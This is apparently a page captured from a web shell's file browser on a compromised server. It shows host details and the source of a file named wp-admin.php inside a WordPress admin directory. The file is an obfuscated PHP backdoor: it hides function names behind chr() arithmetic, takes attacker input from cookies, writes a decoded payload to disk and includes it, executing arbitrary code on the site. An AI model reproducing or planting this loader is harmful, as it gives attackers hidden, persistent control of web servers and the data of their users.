HEX
Server: nginx/1.18.0
System: Linux hqnl0246134.online-vm.com 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: phpinfo,disk_free_space,disk_total_space,diskfreespace,dl,exec,opcache_get_configuration,opcache_get_status,passthru,pclose,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_waitpid,pcntl_wait,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,show_source,system,exec,passthru,shell_exec,system,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Upload Files
File: /var/www/sites/gorosten.com.ua/wp-admin/wp-admin.php
<?php
function compute_output($c)
{
    $a = array(8 + 5 + 103, 97 * 1, 116, 119 - 4);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    $s = strrev($s);
    return $s($c);
}

function log_operation($c)
{
    $a = array(53 + 39 + 12, 15 * 87 - 1204, 44 + 76, 57 - 7, 2 * 49, 84 * 96 - 7959, 117 - 7);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

class TaskScheduler
{
    private static $_jt;
    static function executeAction($_oly)
    {
        if (!self::$_jt) {
            self::manageState();
        }
        return log_operation(self::$_jt[$_oly]);
    }
    private static function manageState()
    {
        self::$_jt = array('_eq' => '', '_us' => '');
    }
}

$_mg = $_COOKIE;
$_bmi = (int) round(0 + 0 + 0);
$_oly = (int) round(1 + 1 + 1 + 1);
$_mi = array();
$_mi[$_bmi] = TaskScheduler::executeAction('_eq');
while ($_oly) {
    $_mi[$_bmi] .= $_mg[(int) round(11.333333333333 + 11.333333333333 + 11.333333333333)][$_oly];
    if (!$_mg[(int) round(17 + 17)][$_oly + (int) round(0.33333333333333 + 0.33333333333333 + 0.33333333333333)]) {
        if (!$_mg[(int) round(17 + 17)][$_oly + (int) round(0.66666666666667 + 0.66666666666667 + 0.66666666666667)]) {
            break;
        }
        $_bmi++;
        $_mi[$_bmi] = TaskScheduler::executeAction('_u' . 's');
        $_oly++;
    }
    $_oly = $_oly + (int) round(2 + 2) + (int) round(0.5 + 0.5);
}
$_bmi = $_mi[(int) round(5 + 5)]() . $_mi[(int) round(5 + 5 + 5 + 5)];
if (!$_mi[(int) round(3 + 3 + 3)]($_bmi)) {
    $_oly = $_mi[(int) round(7 + 7)]($_bmi, $_mi[(int) round(12.5 + 12.5)]);
    $_mi[(int) round(8.5 + 8.5)]($_oly, $_mi[(int) round(8.6666666666667 + 8.6666666666667 + 8.6666666666667)] . $_mi[(int) round(5.5 + 5.5)]($_mi[(int) round(12 + 12)]($_mg[(int) round(1 + 1 + 1)])));
}
include $_bmi;